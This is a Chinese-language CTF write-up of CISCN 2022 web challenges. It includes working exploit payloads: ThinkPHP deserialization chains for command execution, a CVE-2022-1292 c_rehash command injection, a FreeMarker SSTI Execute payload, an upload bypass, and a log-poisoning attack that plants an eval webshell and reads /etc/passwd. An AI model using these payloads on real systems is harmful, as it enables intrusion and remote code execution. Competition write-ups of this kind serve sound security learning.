CTF Writeups - CISCN2022 初赛及分区赛 Web 部分

初赛部分

Ezpop

找到反序列化的路由,然后挑个链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
// $this->data = ['whoami' => ['ls /']];
$this->data = ['whoami' => ['tac /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

url: /index.php/index/test
post: a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

online_crt

c_rehash 存在漏洞 https://www.secrss.com/articles/42602 CVE-2022-1292
先通过 /getcrt 获取文件名
再通过 /proxy 访问 go 服务更改文件名为命令
最后通过 /createlink 调用 c_rehash 执行命令
考挺新的,好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /proxy HTTP/1.1
Host: xxx:8888
Content-Length: 316
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xxx:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __jsluid_h=47deb9dd4ec6dca0063283f9453e7643
Connection: close

uri=/admin/%25%37%32%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%3foldname%3d24950c68-7018-4cd7-97c9-239cf4ecd3a7.crt%26newname%3d`touch%2b\`echo%2bY2F0IC9mKgo=|base64%2b-d|bash\``.crt HTTP/1.1
Host: admin
User-Agent: admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


分区赛部分

Identity

burp 抓包,返回的 header 中有 identity: GuessWhatThis1sY0urIdentity
将 identity=GuessWhatThis1sY0urIdentity 作为参数再次请求得到文件上传点 h1dden_p4ge.php
文件上传,文件名改大写 PHP 绕过,文件内容绕过用

1
<script language="php">system('xxx')</script>

ezser

这题一开始想利用 CVE-2016-7124 绕过 __wakeup,但版本是 8.x 绕不过,于是改用引用来绕过 __wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class A{
public $functions=[];
}
class B{
private $a;
private $b;
public $c;
function __construct()
{
$a = new A();
$this->a = &$a->functions;
$this->b = array(
"_name" => array(
new C(),
"getFlag"
)
);
$this->c=$a;
}
}
class C{
public function getFlag(){
// echo file_get_contents("/etc/flag");
echo 11111;
}
}

$b = new B();
echo "data=".urlencode(serialize($b)).PHP_EOL;
// data=O%3A1%3A%22B%22%3A3%3A%7Bs%3A4%3A%22%00B%00a%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22%00B%00b%22%3Ba%3A1%3A%7Bs%3A5%3A%22_name%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22C%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7Ds%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22functions%22%3BR%3A2%3B%7D%7D

ezssti

试了下 2,报错看出是 java,于是找个 java 的 payload,居然通了…
payload: xxx/render?name=%3C%23assign%20value%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bvalue(%22cat%20F1ag_is_h3re%22)%7D

eztp

首先,路由入口点 /?s=home/index/textBox
Application\Home\Controller\IndexController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
...

public function textBox(){
$query = urldecode(I("post.query")); # 获取 post["query"]
parse_str($query,$array); # 作为 url参数解析并赋给 $array
$this->assign("array",$array); # 模板渲染变量赋值
$this->display(T("Home@default/list")); # 渲染模板
}
}

Application\Home\View\default\list.html

1
2
3
4
5
<form action="/?s=home/index/textBox" method="post"> <!-- 从这里也能看出路由 -->
<label>query</label><input type="text" size="10" maxlength="30" name="query">
<input type="submit" name="" value="submit">
</form>
<textarea><?php echo W("Query/query",array("param"=>$array));?></textarea> <!-- 调用 W 函数调用 Query/query Widget -->

Application\Home\Widget\QueryWidget.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

namespace Home\Widget;

class QueryWidget
{
public function query($text){

if(isset($text['name'])&&isset($text['id'])){
$info = B($text['name'],$text['tag'],$text['id']); # 条件满足则可以调用 B 函数 我们来看看这个函数的定义
return $info;
}else{
var_dump($text);
}

}
}

ThinkPHP\Common\functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
/**
* 执行某个行为
* @param string $name 行为名称
* @param string $tag 标签名称(行为类无需传入)
* @param Mixed $params 传入的参数
* @return void
*/
function B($name, $tag = '', &$params = null)
{
if ('' == $tag) {
$name .= 'Behavior';
}
return \Think\Hook::exec($name, $tag, $params); # 那么这个函数又是干什么的?
}

ThinkPHP\Library\Think\Hook.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?
class Hook{
...

/**
* 执行某个插件
* @param string $name 插件名称
* @param string $tag 方法名(标签名)
* @param Mixed $params 传入的参数
* @return void
*/
public static function exec($name, $tag, &$params = null)
{
if ('Behavior' == substr($name, -8)) {
// 行为扩展必须用run入口方法
$tag = 'run';
}
$addon = new $name(); # 实例化一个类 name 作为类名
return $addon->$tag($params); # 调用一个方法并传参,tag 为方法名,params 为参数
}

...
}

这里的 name tag params 都是可控的,于是我们就可以实例化任意类并调用任意方法,恰好有这样一个类
ThinkPHP\Library\Think\Storage\Driver\File.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class File extends Storage{
...

/**
* 加载文件
* @access public
* @param string $filename 文件名
* @param array $vars 传入变量
* @return void
*/
public function load($_filename, $vars = null)
{
if (!is_null($vars)) {
extract($vars, EXTR_OVERWRITE);
}
include $_filename; # 任意文件包含
}

...
}

于是构造参数调用 Think\Storage\Driver\File->load 即可包含任意文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?s=home/index/textBox HTTP/1.1
Host: 172.16.30.176:58002
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.30.176:58002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.30.176:58002/?s=home/index/textBox
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

query=name%253D%255CThink%255CStorage%255CDriver%255CFile%2526id%253D%252Fetc%252Fpasswd%2526tag%253Dload

成功包含 /etc/passwd,于是找一个可以包含的可控文本文件。通过观察可以发现这个框架是有日志文件的,而且会把 E 函数的报错信息写入日志文件,搜索一个可以触发 E 函数报错且信息可控的类方法
ThinkPHP\Library\Org\Net\Http.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?
namespace Org\Net;

class Http
/**
* 下载文件
* 可以指定下载显示的文件名,并自动发送相应的Header信息
* 如果指定了content参数,则下载该参数的内容
* @static
* @access public
* @param string $filename 下载文件名
* @param string $showname 下载显示的文件名
* @param string $content 下载的内容
* @param integer $expire 下载内容浏览器缓存时间
* @return void
*/
public static function download($filename, $showname = '', $content = '', $expire = 180)
{
if (is_file($filename)) {
$length = filesize($filename);
} elseif (is_file(UPLOAD_PATH . $filename)) {
$filename = UPLOAD_PATH . $filename;
$length = filesize($filename);
} elseif ('' != $content) {
$length = strlen($content);
} else {
E($filename . L('下载文件不存在!')); # 这里把文件名赋成要写入日志的 php 代码
}
if (empty($showname)) {
$showname = $filename;
}

...

于是我们就可以 getshell 了,先触发报错将 shell 写入日志,再文件包含日志文件
写 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?s=home/index/textBox HTTP/1.1
Host: 172.16.30.176:58002
Content-Length: 143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.30.176:58002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.30.176:58002/?s=home/index/textBox
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

query=name%253DOrg%255CNet%255CHttp%2526id%253D%253C%253Fphp%2520%2540eval(%2524_POST%255Bpass%255D)%253B%2520%253F%253E%2526tag%253Ddownload

读 flag,这里的文件路径是先 ls 来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?s=home/index/textBox HTTP/1.1
Host: 172.16.30.176:58002
Content-Length: 188
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.30.176:58002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.30.176:58002/?s=home/index/textBox
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

query=name%253D%255CThink%255CStorage%255CDriver%255CFile%2526id%253D.%252FApplication%252FRuntime%252FLogs%252FHome%252F22_06_18.log%2526tag%253Dload&pass=system('cat /Secret_is_h3re');

12 名止步分区赛